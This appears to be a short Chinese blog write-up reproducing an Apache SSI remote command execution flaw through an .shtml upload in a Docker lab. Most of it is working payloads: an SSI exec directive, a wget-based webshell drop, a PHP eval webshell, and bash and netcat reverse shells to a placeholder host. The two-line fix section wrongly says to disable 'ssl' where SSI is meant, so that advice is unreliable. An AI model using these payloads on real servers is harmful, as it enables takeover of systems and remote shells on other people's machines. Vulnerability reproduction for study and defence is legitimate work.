Apache SSI 远程命令执行漏洞复现

Apache SSI 远程命令执行漏洞复现

漏洞描述:

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

漏洞环境搭建与复现:

使用docker搭建漏洞环境,启动环境

docker-compose build

docker-compose up -d

浏览器访问http://172.17.0.1:8080/upload.php,即可看到一个上传表单。

上传一个php文件,提示不支持的上传的类型

上传一个shell.shtml文件

<!--#exec cmd="id" -->

浏览器访问上传的文件,下图可以看到成功执行代码,说明存在远程命令执行漏洞

上传webshell:

<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
echo '<?php @eval($_POST[margin]);?>' > shell.php

反弹shell:

<!--#exec cmd="/bin/bash -i > /dev/tcp/x.x.x.x/8888 0<&1 2>&1" -->
<!--#exec cmd="nc x.x.x.x 8888 -e /bin/bash"-->

漏洞修复:

        关闭ssl

        对shtml进行黑名单限制

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值